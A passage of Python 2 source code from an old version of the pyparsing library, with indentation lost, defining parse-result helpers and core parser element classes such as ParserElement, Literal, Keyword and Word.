for item in self.__toklist:
if out and sep:
out.append(sep)
if isinstance( item, ParseResults ):
out += item._asStringList()
else:
out.append( _ustr(item) )
return out
def asList( self ):
"""Returns the parse results as a nested list of matching tokens, all converted to strings."""
out = []
for res in self.__toklist:
if isinstance(res,ParseResults):
out.append( res.asList() )
else:
out.append( res )
return out
def asDict( self ):
"""Returns the named parse results as dictionary."""
return dict( self.items() )
def copy( self ):
"""Returns a new copy of a ParseResults object."""
ret = ParseResults( self.__toklist )
ret.__tokdict = self.__tokdict.copy()
ret.__parent = self.__parent
ret.__accumNames.update( self.__accumNames )
ret.__name = self.__name
return ret
def asXML( self, doctag=None, namedItemsOnly=False, indent="", formatted=True ):
"""Returns the parse results as XML. Tags are created for tokens and lists that have defined results names."""
nl = "\n"
out = []
namedItems = dict( [ (v[1],k) for (k,vlist) in self.__tokdict.items()
for v in vlist ] )
nextLevelIndent = indent + " "
# collapse out indents if formatting is not desired
if not formatted:
indent = ""
nextLevelIndent = ""
nl = ""
selfTag = None
if doctag is not None:
selfTag = doctag
else:
if self.__name:
selfTag = self.__name
if not selfTag:
if namedItemsOnly:
return ""
else:
selfTag = "ITEM"
out += [ nl, indent, "<", selfTag, ">" ]
worklist = self.__toklist
for i,res in enumerate(worklist):
if isinstance(res,ParseResults):
if i in namedItems:
out += [ res.asXML(namedItems[i],
namedItemsOnly and doctag is None,
nextLevelIndent,
formatted)]
else:
out += [ res.asXML(None,
namedItemsOnly and doctag is None,
nextLevelIndent,
formatted)]
else:
# individual token, see if there is a name for it
resTag = None
if i in namedItems:
resTag = namedItems[i]
if not resTag:
if namedItemsOnly:
continue
else:
resTag = "ITEM"
xmlBodyText = xml.sax.saxutils.escape(_ustr(res))
out += [ nl, nextLevelIndent, "<", resTag, ">",
xmlBodyText,
"</", resTag, ">" ]
out += [ nl, indent, "</", selfTag, ">" ]
return "".join(out)
def __lookup(self,sub):
for k,vlist in self.__tokdict.items():
for v,loc in vlist:
if sub is v:
return k
return None
def getName(self):
"""Returns the results name for this token expression."""
if self.__name:
return self.__name
elif self.__parent:
par = self.__parent()
if par:
return par.__lookup(self)
else:
return None
elif (len(self) == 1 and
len(self.__tokdict) == 1 and
self.__tokdict.values()[0][0][1] in (0,-1)):
return self.__tokdict.keys()[0]
else:
return None
def dump(self,indent='',depth=0):
"""Diagnostic method for listing out the contents of a ParseResults.
Accepts an optional indent argument so that this string can be embedded
in a nested display of other data."""
out = []
out.append( indent+_ustr(self.asList()) )
keys = self.items()
keys.sort()
for k,v in keys:
if out:
out.append('\n')
out.append( "%s%s- %s: " % (indent,(' '*depth), k) )
if isinstance(v,ParseResults):
if v.keys():
#~ out.append('\n')
out.append( v.dump(indent,depth+1) )
#~ out.append('\n')
else:
out.append(_ustr(v))
else:
out.append(_ustr(v))
#~ out.append('\n')
return "".join(out)
# add support for pickle protocol
def __getstate__(self):
return ( self.__toklist,
( self.__tokdict.copy(),
self.__parent is not None and self.__parent() or None,
self.__accumNames,
self.__name ) )
def __setstate__(self,state):
self.__toklist = state[0]
self.__tokdict, \
par, \
inAccumNames, \
self.__name = state[1]
self.__accumNames = {}
self.__accumNames.update(inAccumNames)
if par is not None:
self.__parent = wkref(par)
else:
self.__parent = None
def col (loc,strg):
"""Returns current column within a string, counting newlines as line separators.
The first column is number 1.
Note: the default parsing behavior is to expand tabs in the input string
before starting the parsing process. See L{I{ParserElement.parseString}<ParserElement.parseString>} for more information
on parsing strings containing <TAB>s, and suggested methods to maintain a
consistent view of the parsed string, the parse location, and line and column
positions within the parsed string.
"""
return (loc<len(strg) and strg[loc] == '\n') and 1 or loc - strg.rfind("\n", 0, loc)
def lineno(loc,strg):
"""Returns current line number within a string, counting newlines as line separators.
The first line is number 1.
Note: the default parsing behavior is to expand tabs in the input string
before starting the parsing process. See L{I{ParserElement.parseString}<ParserElement.parseString>} for more information
on parsing strings containing <TAB>s, and suggested methods to maintain a
consistent view of the parsed string, the parse location, and line and column
positions within the parsed string.
"""
return strg.count("\n",0,loc) + 1
def line( loc, strg ):
"""Returns the line of text containing loc within a string, counting newlines as line separators.
"""
lastCR = strg.rfind("\n", 0, loc)
nextCR = strg.find("\n", loc)
if nextCR > 0:
return strg[lastCR+1:nextCR]
else:
return strg[lastCR+1:]
def _defaultStartDebugAction( instring, loc, expr ):
print ("Match " + _ustr(expr) + " at loc " + _ustr(loc) + "(%d,%d)" % ( lineno(loc,instring), col(loc,instring) ))
def _defaultSuccessDebugAction( instring, startloc, endloc, expr, toks ):
print ("Matched " + _ustr(expr) + " -> " + str(toks.asList()))
def _defaultExceptionDebugAction( instring, loc, expr, exc ):
print ("Exception raised:" + _ustr(exc))
def nullDebugAction(*args):
"""'Do-nothing' debug action, to suppress debugging output during parsing."""
pass
class ParserElement(object):
"""Abstract base level parser element class."""
DEFAULT_WHITE_CHARS = " \n\t\r"
def setDefaultWhitespaceChars( chars ):
"""Overrides the default whitespace chars
"""
ParserElement.DEFAULT_WHITE_CHARS = chars
setDefaultWhitespaceChars = staticmethod(setDefaultWhitespaceChars)
def __init__( self, savelist=False ):
self.parseAction = list()
self.failAction = None
#~ self.name = "<unknown>" # don't define self.name, let subclasses try/except upcall
self.strRepr = None
self.resultsName = None
self.saveAsList = savelist
self.skipWhitespace = True
self.whiteChars = ParserElement.DEFAULT_WHITE_CHARS
self.copyDefaultWhiteChars = True
self.mayReturnEmpty = False # used when checking for left-recursion
self.keepTabs = False
self.ignoreExprs = list()
self.debug = False
self.streamlined = False
self.mayIndexError = True # used to optimize exception handling for subclasses that don't advance parse index
self.errmsg = ""
self.modalResults = True # used to mark results names as modal (report only last) or cumulative (list all)
self.debugActions = ( None, None, None ) #custom debug actions
self.re = None
self.callPreparse = True # used to avoid redundant calls to preParse
self.callDuringTry = False
def copy( self ):
"""Make a copy of this ParserElement. Useful for defining different parse actions
for the same parsing pattern, using copies of the original parse element."""
cpy = copy.copy( self )
cpy.parseAction = self.parseAction[:]
cpy.ignoreExprs = self.ignoreExprs[:]
if self.copyDefaultWhiteChars:
cpy.whiteChars = ParserElement.DEFAULT_WHITE_CHARS
return cpy
def setName( self, name ):
"""Define name for this expression, for use in debugging."""
self.name = name
self.errmsg = "Expected " + self.name
if hasattr(self,"exception"):
self.exception.msg = self.errmsg
return self
def setResultsName( self, name, listAllMatches=False ):
"""Define name for referencing matching tokens as a nested attribute
of the returned parse results.
NOTE: this returns a *copy* of the original ParserElement object;
this is so that the client can define a basic element, such as an
integer, and reference it in multiple places with different names.
"""
newself = self.copy()
newself.resultsName = name
newself.modalResults = not listAllMatches
return newself
def setBreak(self,breakFlag = True):
"""Method to invoke the Python pdb debugger when this element is
about to be parsed. Set breakFlag to True to enable, False to
disable.
"""
if breakFlag:
_parseMethod = self._parse
def breaker(instring, loc, doActions=True, callPreParse=True):
import pdb
pdb.set_trace()
_parseMethod( instring, loc, doActions, callPreParse )
breaker._originalParseMethod = _parseMethod
self._parse = breaker
else:
if hasattr(self._parse,"_originalParseMethod"):
self._parse = self._parse._originalParseMethod
return self
def _normalizeParseActionArgs( f ):
"""Internal method used to decorate parse actions that take fewer than 3 arguments,
so that all parse actions can be called as f(s,l,t)."""
STAR_ARGS = 4
try:
restore = None
if isinstance(f,type):
restore = f
f = f.__init__
if not _PY3K:
codeObj = f.func_code
else:
codeObj = f.code
if codeObj.co_flags & STAR_ARGS:
return f
numargs = codeObj.co_argcount
if not _PY3K:
if hasattr(f,"im_self"):
numargs -= 1
else:
if hasattr(f,"__self__"):
numargs -= 1
if restore:
f = restore
except AttributeError:
try:
if not _PY3K:
call_im_func_code = f.__call__.im_func.func_code
else:
call_im_func_code = f.__code__
# not a function, must be a callable object, get info from the
# im_func binding of its bound __call__ method
if call_im_func_code.co_flags & STAR_ARGS:
return f
numargs = call_im_func_code.co_argcount
if not _PY3K:
if hasattr(f.__call__,"im_self"):
numargs -= 1
else:
if hasattr(f.__call__,"__self__"):
numargs -= 0
except AttributeError:
if not _PY3K:
call_func_code = f.__call__.func_code
else:
call_func_code = f.__call__.__code__
# not a bound method, get info directly from __call__ method
if call_func_code.co_flags & STAR_ARGS:
return f
numargs = call_func_code.co_argcount
if not _PY3K:
if hasattr(f.__call__,"im_self"):
numargs -= 1
else:
if hasattr(f.__call__,"__self__"):
numargs -= 1
#~ print ("adding function %s with %d args" % (f.func_name,numargs))
if numargs == 3:
return f
else:
if numargs > 3:
def tmp(s,l,t):
return f(f.__call__.__self__, s,l,t)
if numargs == 2:
def tmp(s,l,t):
return f(l,t)
elif numargs == 1:
def tmp(s,l,t):
return f(t)
else: #~ numargs == 0:
def tmp(s,l,t):
return f()
try:
tmp.__name__ = f.__name__
except (AttributeError,TypeError):
# no need for special handling if attribute doesnt exist
pass
try:
tmp.__doc__ = f.__doc__
except (AttributeError,TypeError):
# no need for special handling if attribute doesnt exist
pass
try:
tmp.__dict__.update(f.__dict__)
except (AttributeError,TypeError):
# no need for special handling if attribute doesnt exist
pass
return tmp
_normalizeParseActionArgs = staticmethod(_normalizeParseActionArgs)
def setParseAction( self, *fns, **kwargs ):
"""Define action to perform when successfully matching parse element definition.
Parse action fn is a callable method with 0-3 arguments, called as fn(s,loc,toks),
fn(loc,toks), fn(toks), or just fn(), where:
- s = the original string being parsed (see note below)
- loc = the location of the matching substring
- toks = a list of the matched tokens, packaged as a ParseResults object
If the functions in fns modify the tokens, they can return them as the return
value from fn, and the modified list of tokens will replace the original.
Otherwise, fn does not need to return any value.
Note: the default parsing behavior is to expand tabs in the input string
before starting the parsing process. See L{I{parseString}<parseString>} for more information
on parsing strings containing <TAB>s, and suggested methods to maintain a
consistent view of the parsed string, the parse location, and line and column
positions within the parsed string.
"""
self.parseAction = list(map(self._normalizeParseActionArgs, list(fns)))
self.callDuringTry = ("callDuringTry" in kwargs and kwargs["callDuringTry"])
return self
def addParseAction( self, *fns, **kwargs ):
"""Add parse action to expression's list of parse actions. See L{I{setParseAction}<setParseAction>}."""
self.parseAction += list(map(self._normalizeParseActionArgs, list(fns)))
self.callDuringTry = self.callDuringTry or ("callDuringTry" in kwargs and kwargs["callDuringTry"])
return self
def setFailAction( self, fn ):
"""Define action to perform if parsing fails at this expression.
Fail acton fn is a callable function that takes the arguments
fn(s,loc,expr,err) where:
- s = string being parsed
- loc = location where expression match was attempted and failed
- expr = the parse expression that failed
- err = the exception thrown
The function returns no value. It may throw ParseFatalException
if it is desired to stop parsing immediately."""
self.failAction = fn
return self
def _skipIgnorables( self, instring, loc ):
exprsFound = True
while exprsFound:
exprsFound = False
for e in self.ignoreExprs:
try:
while 1:
loc,dummy = e._parse( instring, loc )
exprsFound = True
except ParseException:
pass
return loc
def preParse( self, instring, loc ):
if self.ignoreExprs:
loc = self._skipIgnorables( instring, loc )
if self.skipWhitespace:
wt = self.whiteChars
instrlen = len(instring)
while loc < instrlen and instring[loc] in wt:
loc += 1
return loc
def parseImpl( self, instring, loc, doActions=True ):
return loc, []
def postParse( self, instring, loc, tokenlist ):
return tokenlist
#~ @profile
def _parseNoCache( self, instring, loc, doActions=True, callPreParse=True ):
debugging = ( self.debug ) #and doActions )
if debugging or self.failAction:
#~ print ("Match",self,"at loc",loc,"(%d,%d)" % ( lineno(loc,instring), col(loc,instring) ))
if (self.debugActions[0] ):
self.debugActions[0]( instring, loc, self )
if callPreParse and self.callPreparse:
preloc = self.preParse( instring, loc )
else:
preloc = loc
tokensStart = loc
try:
try:
loc,tokens = self.parseImpl( instring, preloc, doActions )
except IndexError:
raise ParseException( instring, len(instring), self.errmsg, self )
except ParseBaseException, err:
#~ print ("Exception raised:", err)
if self.debugActions[2]:
self.debugActions[2]( instring, tokensStart, self, err )
if self.failAction:
self.failAction( instring, tokensStart, self, err )
raise
else:
if callPreParse and self.callPreparse:
preloc = self.preParse( instring, loc )
else:
preloc = loc
tokensStart = loc
if self.mayIndexError or loc >= len(instring):
try:
loc,tokens = self.parseImpl( instring, preloc, doActions )
except IndexError:
raise ParseException( instring, len(instring), self.errmsg, self )
else:
loc,tokens = self.parseImpl( instring, preloc, doActions )
tokens = self.postParse( instring, loc, tokens )
retTokens = ParseResults( tokens, self.resultsName, asList=self.saveAsList, modal=self.modalResults )
if self.parseAction and (doActions or self.callDuringTry):
if debugging:
try:
for fn in self.parseAction:
tokens = fn( instring, tokensStart, retTokens )
if tokens is not None:
retTokens = ParseResults( tokens,
self.resultsName,
asList=self.saveAsList and isinstance(tokens,(ParseResults,list)),
modal=self.modalResults )
except ParseBaseException, err:
#~ print "Exception raised in user parse action:", err
if (self.debugActions[2] ):
self.debugActions[2]( instring, tokensStart, self, err )
raise
else:
for fn in self.parseAction:
tokens = fn( instring, tokensStart, retTokens )
if tokens is not None:
retTokens = ParseResults( tokens,
self.resultsName,
asList=self.saveAsList and isinstance(tokens,(ParseResults,list)),
modal=self.modalResults )
if debugging:
#~ print ("Matched",self,"->",retTokens.asList())
if (self.debugActions[1] ):
self.debugActions[1]( instring, tokensStart, loc, self, retTokens )
return loc, retTokens
def tryParse( self, instring, loc ):
try:
return self._parse( instring, loc, doActions=False )[0]
except ParseFatalException:
raise ParseException( instring, loc, self.errmsg, self)
# this method gets repeatedly called during backtracking with the same arguments -
# we can cache these arguments and save ourselves the trouble of re-parsing the contained expression
def _parseCache( self, instring, loc, doActions=True, callPreParse=True ):
lookup = (self,instring,loc,callPreParse,doActions)
if lookup in ParserElement._exprArgCache:
value = ParserElement._exprArgCache[ lookup ]
if isinstance(value,Exception):
raise value
return value
else:
try:
value = self._parseNoCache( instring, loc, doActions, callPreParse )
ParserElement._exprArgCache[ lookup ] = (value[0],value[1].copy())
return value
except ParseBaseException, pe:
ParserElement._exprArgCache[ lookup ] = pe
raise
_parse = _parseNoCache
# argument cache for optimizing repeated calls when backtracking through recursive expressions
_exprArgCache = {}
def resetCache():
ParserElement._exprArgCache.clear()
resetCache = staticmethod(resetCache)
_packratEnabled = False
def enablePackrat():
"""Enables "packrat" parsing, which adds memoizing to the parsing logic.
Repeated parse attempts at the same string location (which happens
often in many complex grammars) can immediately return a cached value,
instead of re-executing parsing/validating code. Memoizing is done of
both valid results and parsing exceptions.
This speedup may break existing programs that use parse actions that
have side-effects. For this reason, packrat parsing is disabled when
you first import pyparsing. To activate the packrat feature, your
program must call the class method ParserElement.enablePackrat(). If
your program uses psyco to "compile as you go", you must call
enablePackrat before calling psyco.full(). If you do not do this,
Python will crash. For best results, call enablePackrat() immediately
after importing pyparsing.
"""
if not ParserElement._packratEnabled:
ParserElement._packratEnabled = True
ParserElement._parse = ParserElement._parseCache
enablePackrat = staticmethod(enablePackrat)
def parseString( self, instring, parseAll=False ):
"""Execute the parse expression with the given string.
This is the main interface to the client code, once the complete
expression has been built.
If you want the grammar to require that the entire input string be
successfully parsed, then set parseAll to True (equivalent to ending
the grammar with StringEnd()).
Note: parseString implicitly calls expandtabs() on the input string,
in order to report proper column numbers in parse actions.
If the input string contains tabs and
the grammar uses parse actions that use the loc argument to index into the
string being parsed, you can ensure you have a consistent view of the input
string by:
- calling parseWithTabs on your grammar before calling parseString
(see L{I{parseWithTabs}<parseWithTabs>})
- define your parse action using the full (s,loc,toks) signature, and
reference the input string using the parse action's s argument
- explictly expand the tabs in your input string before calling
parseString
"""
ParserElement.resetCache()
if not self.streamlined:
self.streamline()
#~ self.saveAsList = True
for e in self.ignoreExprs:
e.streamline()
if not self.keepTabs:
instring = instring.expandtabs()
loc, tokens = self._parse( instring, 0 )
if parseAll:
StringEnd()._parse( instring, loc )
return tokens
def scanString( self, instring, maxMatches=_MAX_INT ):
"""Scan the input string for expression matches. Each match will return the
matching tokens, start location, and end location. May be called with optional
maxMatches argument, to clip scanning after 'n' matches are found.
Note that the start and end locations are reported relative to the string
being parsed. See L{I{parseString}<parseString>} for more information on parsing
strings with embedded tabs."""
if not self.streamlined:
self.streamline()
for e in self.ignoreExprs:
e.streamline()
if not self.keepTabs:
instring = _ustr(instring).expandtabs()
instrlen = len(instring)
loc = 0
preparseFn = self.preParse
parseFn = self._parse
ParserElement.resetCache()
matches = 0
while loc <= instrlen and matches < maxMatches:
try:
preloc = preparseFn( instring, loc )
nextLoc,tokens = parseFn( instring, preloc, callPreParse=False )
except ParseException:
loc = preloc+1
else:
matches += 1
yield tokens, preloc, nextLoc
loc = nextLoc
def transformString( self, instring ):
"""Extension to scanString, to modify matching text with modified tokens that may
be returned from a parse action. To use transformString, define a grammar and
attach a parse action to it that modifies the returned token list.
Invoking transformString() on a target string will then scan for matches,
and replace the matched text patterns according to the logic in the parse
action. transformString() returns the resulting transformed string."""
out = []
lastE = 0
# force preservation of <TAB>s, to minimize unwanted transformation of string, and to
# keep string locs straight between transformString and scanString
self.keepTabs = True
for t,s,e in self.scanString( instring ):
out.append( instring[lastE:s] )
if t:
if isinstance(t,ParseResults):
out += t.asList()
elif isinstance(t,list):
out += t
else:
out.append(t)
lastE = e
out.append(instring[lastE:])
return "".join(map(_ustr,out))
def searchString( self, instring, maxMatches=_MAX_INT ):
"""Another extension to scanString, simplifying the access to the tokens found
to match the given parse expression. May be called with optional
maxMatches argument, to clip searching after 'n' matches are found.
"""
return ParseResults([ t for t,s,e in self.scanString( instring, maxMatches ) ])
def __add__(self, other ):
"""Implementation of + operator - returns And"""
if isinstance( other, basestring ):
other = Literal( other )
if not isinstance( other, ParserElement ):
warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
SyntaxWarning, stacklevel=2)
return None
return And( [ self, other ] )
def __radd__(self, other ):
"""Implementation of + operator when left operand is not a ParserElement"""
if isinstance( other, basestring ):
other = Literal( other )
if not isinstance( other, ParserElement ):
warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
SyntaxWarning, stacklevel=2)
return None
return other + self
def __sub__(self, other):
"""Implementation of - operator, returns And with error stop"""
if isinstance( other, basestring ):
other = Literal( other )
if not isinstance( other, ParserElement ):
warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
SyntaxWarning, stacklevel=2)
return None
return And( [ self, And._ErrorStop(), other ] )
def __rsub__(self, other ):
"""Implementation of - operator when left operand is not a ParserElement"""
if isinstance( other, basestring ):
other = Literal( other )
if not isinstance( other, ParserElement ):
warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
SyntaxWarning, stacklevel=2)
return None
return other - self
def __mul__(self,other):
if isinstance(other,int):
minElements, optElements = other,0
elif isinstance(other,tuple):
if len(other)==0:
other = (None,None)
elif len(other)==1:
other = (other[0],None)
if len(other)==2:
if other[0] is None:
other = (0, other[1])
if isinstance(other[0],int) and other[1] is None:
if other[0] == 0:
return ZeroOrMore(self)
if other[0] == 1:
return OneOrMore(self)
else:
return self*other[0] + ZeroOrMore(self)
elif isinstance(other[0],int) and isinstance(other[1],int):
minElements, optElements = other
optElements -= minElements
else:
raise TypeError("cannot multiply 'ParserElement' and ('%s','%s') objects", type(other[0]),type(other[1]))
else:
raise TypeError("can only multiply 'ParserElement' and int or (int,int) objects")
else:
raise TypeError("cannot multiply 'ParserElement' and '%s' objects", type(other))
if minElements < 0:
raise ValueError("cannot multiply ParserElement by negative value")
if optElements < 0:
raise ValueError("second tuple value must be greater or equal to first tuple value")
if minElements == optElements == 0:
raise ValueError("cannot multiply ParserElement by 0 or (0,0)")
if (optElements):
def makeOptionalList(n):
if n>1:
return Optional(self + makeOptionalList(n-1))
else:
return Optional(self)
if minElements:
if minElements == 1:
ret = self + makeOptionalList(optElements)
else:
ret = And([self]*minElements) + makeOptionalList(optElements)
else:
ret = makeOptionalList(optElements)
else:
if minElements == 1:
ret = self
else:
ret = And([self]*minElements)
return ret
def __rmul__(self, other):
return self.__mul__(other)
def __or__(self, other ):
"""Implementation of | operator - returns MatchFirst"""
if isinstance( other, basestring ):
other = Literal( other )
if not isinstance( other, ParserElement ):
warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
SyntaxWarning, stacklevel=2)
return None
return MatchFirst( [ self, other ] )
def __ror__(self, other ):
"""Implementation of | operator when left operand is not a ParserElement"""
if isinstance( other, basestring ):
other = Literal( other )
if not isinstance( other, ParserElement ):
warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
SyntaxWarning, stacklevel=2)
return None
return other | self
def __xor__(self, other ):
"""Implementation of ^ operator - returns Or"""
if isinstance( other, basestring ):
other = Literal( other )
if not isinstance( other, ParserElement ):
warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
SyntaxWarning, stacklevel=2)
return None
return Or( [ self, other ] )
def __rxor__(self, other ):
"""Implementation of ^ operator when left operand is not a ParserElement"""
if isinstance( other, basestring ):
other = Literal( other )
if not isinstance( other, ParserElement ):
warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
SyntaxWarning, stacklevel=2)
return None
return other ^ self
def __and__(self, other ):
"""Implementation of & operator - returns Each"""
if isinstance( other, basestring ):
other = Literal( other )
if not isinstance( other, ParserElement ):
warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
SyntaxWarning, stacklevel=2)
return None
return Each( [ self, other ] )
def __rand__(self, other ):
"""Implementation of & operator when left operand is not a ParserElement"""
if isinstance( other, basestring ):
other = Literal( other )
if not isinstance( other, ParserElement ):
warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
SyntaxWarning, stacklevel=2)
return None
return other & self
def __invert__( self ):
"""Implementation of ~ operator - returns NotAny"""
return NotAny( self )
def __call__(self, name):
"""Shortcut for setResultsName, with listAllMatches=default::
userdata = Word(alphas).setResultsName("name") + Word(nums+"-").setResultsName("socsecno")
could be written as::
userdata = Word(alphas)("name") + Word(nums+"-")("socsecno")
"""
return self.setResultsName(name)
def suppress( self ):
"""Suppresses the output of this ParserElement; useful to keep punctuation from
cluttering up returned output.
"""
return Suppress( self )
def leaveWhitespace( self ):
"""Disables the skipping of whitespace before matching the characters in the
ParserElement's defined pattern. This is normally only used internally by
the pyparsing module, but may be needed in some whitespace-sensitive grammars.
"""
self.skipWhitespace = False
return self
def setWhitespaceChars( self, chars ):
"""Overrides the default whitespace chars
"""
self.skipWhitespace = True
self.whiteChars = chars
self.copyDefaultWhiteChars = False
return self
def parseWithTabs( self ):
"""Overrides default behavior to expand <TAB>s to spaces before parsing the input string.
Must be called before parseString when the input grammar contains elements that
match <TAB> characters."""
self.keepTabs = True
return self
def ignore( self, other ):
"""Define expression to be ignored (e.g., comments) while doing pattern
matching; may be called repeatedly, to define multiple comment or other
ignorable patterns.
"""
if isinstance( other, Suppress ):
if other not in self.ignoreExprs:
self.ignoreExprs.append( other )
else:
self.ignoreExprs.append( Suppress( other ) )
return self
def setDebugActions( self, startAction, successAction, exceptionAction ):
"""Enable display of debugging messages while doing pattern matching."""
self.debugActions = (startAction or _defaultStartDebugAction,
successAction or _defaultSuccessDebugAction,
exceptionAction or _defaultExceptionDebugAction)
self.debug = True
return self
def setDebug( self, flag=True ):
"""Enable display of debugging messages while doing pattern matching.
Set flag to True to enable, False to disable."""
if flag:
self.setDebugActions( _defaultStartDebugAction, _defaultSuccessDebugAction, _defaultExceptionDebugAction )
else:
self.debug = False
return self
def __str__( self ):
return self.name
def __repr__( self ):
return _ustr(self)
def streamline( self ):
self.streamlined = True
self.strRepr = None
return self
def checkRecursion( self, parseElementList ):
pass
def validate( self, validateTrace=[] ):
"""Check defined expressions for valid structure, check for infinite recursive definitions."""
self.checkRecursion( [] )
def parseFile( self, file_or_filename ):
"""Execute the parse expression on the given file or filename.
If a filename is specified (instead of a file object),
the entire file is opened, read, and closed before parsing.
"""
try:
file_contents = file_or_filename.read()
except AttributeError:
f = open(file_or_filename, "rb")
file_contents = f.read()
f.close()
return self.parseString(file_contents)
def getException(self):
return ParseException("",0,self.errmsg,self)
def __getattr__(self,aname):
if aname == "myException":
self.myException = ret = self.getException();
return ret;
else:
raise AttributeError("no such attribute " + aname)
def __eq__(self,other):
if isinstance(other, basestring):
try:
(self + StringEnd()).parseString(_ustr(other))
return True
except ParseBaseException:
return False
else:
return super(ParserElement,self)==other
def __hash__(self):
return hash(id(self))
def __req__(self,other):
return self == other
class Token(ParserElement):
"""Abstract ParserElement subclass, for defining atomic matching patterns."""
def __init__( self ):
super(Token,self).__init__( savelist=False )
#self.myException = ParseException("",0,"",self)
def setName(self, name):
s = super(Token,self).setName(name)
self.errmsg = "Expected " + self.name
#s.myException.msg = self.errmsg
return s
class Empty(Token):
"""An empty token, will always match."""
def __init__( self ):
super(Empty,self).__init__()
self.name = "Empty"
self.mayReturnEmpty = True
self.mayIndexError = False
class NoMatch(Token):
"""A token that will never match."""
def __init__( self ):
super(NoMatch,self).__init__()
self.name = "NoMatch"
self.mayReturnEmpty = True
self.mayIndexError = False
self.errmsg = "Unmatchable token"
#self.myException.msg = self.errmsg
def parseImpl( self, instring, loc, doActions=True ):
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
class Literal(Token):
"""Token to exactly match a specified string."""
def __init__( self, matchString ):
super(Literal,self).__init__()
self.match = matchString
self.matchLen = len(matchString)
try:
self.firstMatchChar = matchString[0]
except IndexError:
warnings.warn("null string passed to Literal; use Empty() instead",
SyntaxWarning, stacklevel=2)
self.__class__ = Empty
self.name = '"%s"' % _ustr(self.match)
self.errmsg = "Expected " + self.name
self.mayReturnEmpty = False
#self.myException.msg = self.errmsg
self.mayIndexError = False
# Performance tuning: this routine gets called a *lot*
# if this is a single character match string and the first character matches,
# short-circuit as quickly as possible, and avoid calling startswith
#~ @profile
def parseImpl( self, instring, loc, doActions=True ):
if (instring[loc] == self.firstMatchChar and
(self.matchLen==1 or instring.startswith(self.match,loc)) ):
return loc+self.matchLen, self.match
#~ raise ParseException( instring, loc, self.errmsg )
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
_L = Literal
class Keyword(Token):
"""Token to exactly match a specified string as a keyword, that is, it must be
immediately followed by a non-keyword character. Compare with Literal::
Literal("if") will match the leading 'if' in 'ifAndOnlyIf'.
Keyword("if") will not; it will only match the leading 'if in 'if x=1', or 'if(y==2)'
Accepts two optional constructor arguments in addition to the keyword string:
identChars is a string of characters that would be valid identifier characters,
defaulting to all alphanumerics + "_" and "$"; caseless allows case-insensitive
matching, default is False.
"""
DEFAULT_KEYWORD_CHARS = alphanums+"_$"
def __init__( self, matchString, identChars=DEFAULT_KEYWORD_CHARS, caseless=False ):
super(Keyword,self).__init__()
self.match = matchString
self.matchLen = len(matchString)
try:
self.firstMatchChar = matchString[0]
except IndexError:
warnings.warn("null string passed to Keyword; use Empty() instead",
SyntaxWarning, stacklevel=2)
self.name = '"%s"' % self.match
self.errmsg = "Expected " + self.name
self.mayReturnEmpty = False
#self.myException.msg = self.errmsg
self.mayIndexError = False
self.caseless = caseless
if caseless:
self.caselessmatch = matchString.upper()
identChars = identChars.upper()
self.identChars = _str2dict(identChars)
def parseImpl( self, instring, loc, doActions=True ):
if self.caseless:
if ( (instring[ loc:loc+self.matchLen ].upper() == self.caselessmatch) and
(loc >= len(instring)-self.matchLen or instring[loc+self.matchLen].upper() not in self.identChars) and
(loc == 0 or instring[loc-1].upper() not in self.identChars) ):
return loc+self.matchLen, self.match
else:
if (instring[loc] == self.firstMatchChar and
(self.matchLen==1 or instring.startswith(self.match,loc)) and
(loc >= len(instring)-self.matchLen or instring[loc+self.matchLen] not in self.identChars) and
(loc == 0 or instring[loc-1] not in self.identChars) ):
return loc+self.matchLen, self.match
#~ raise ParseException( instring, loc, self.errmsg )
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
def copy(self):
c = super(Keyword,self).copy()
c.identChars = Keyword.DEFAULT_KEYWORD_CHARS
return c
def setDefaultKeywordChars( chars ):
"""Overrides the default Keyword chars
"""
Keyword.DEFAULT_KEYWORD_CHARS = chars
setDefaultKeywordChars = staticmethod(setDefaultKeywordChars)
class CaselessLiteral(Literal):
"""Token to match a specified string, ignoring case of letters.
Note: the matched results will always be in the case of the given
match string, NOT the case of the input text.
"""
def __init__( self, matchString ):
super(CaselessLiteral,self).__init__( matchString.upper() )
# Preserve the defining literal.
self.returnString = matchString
self.name = "'%s'" % self.returnString
self.errmsg = "Expected " + self.name
#self.myException.msg = self.errmsg
def parseImpl( self, instring, loc, doActions=True ):
if instring[ loc:loc+self.matchLen ].upper() == self.match:
return loc+self.matchLen, self.returnString
#~ raise ParseException( instring, loc, self.errmsg )
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
class CaselessKeyword(Keyword):
def __init__( self, matchString, identChars=Keyword.DEFAULT_KEYWORD_CHARS ):
super(CaselessKeyword,self).__init__( matchString, identChars, caseless=True )
def parseImpl( self, instring, loc, doActions=True ):
if ( (instring[ loc:loc+self.matchLen ].upper() == self.caselessmatch) and
(loc >= len(instring)-self.matchLen or instring[loc+self.matchLen].upper() not in self.identChars) ):
return loc+self.matchLen, self.match
#~ raise ParseException( instring, loc, self.errmsg )
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
class Word(Token):
"""Token for matching words composed of allowed character sets.
Defined with string containing all allowed initial characters,
an optional string containing allowed body characters (if omitted,
defaults to the initial character set), and an optional minimum,
maximum, and/or exact length. The default value for min is 1 (a
minimum value < 1 is not valid); the default values for max and exact
are 0, meaning no maximum or exact length restriction.
"""
def __init__( self, initChars, bodyChars=None, min=1, max=0, exact=0, asKeyword=False ):
super(Word,self).__init__()
self.initCharsOrig = initChars
self.initChars = _str2dict(initChars)
if bodyChars :
self.bodyCharsOrig = bodyChars
self.bodyChars = _str2dict(bodyChars)
else:
self.bodyCharsOrig = initChars
self.bodyChars = _str2dict(initChars)
self.maxSpecified = max > 0
if min < 1:
raise ValueError("cannot specify a minimum length < 1; use Optional(Word()) if zero-length word is permitted")
self.minLen = min
if max > 0:
self.maxLen = max
else:
self.maxLen = _MAX_INT
if exact > 0:
self.maxLen = exact
self.minLen = exact
self.name = _ustr(self)
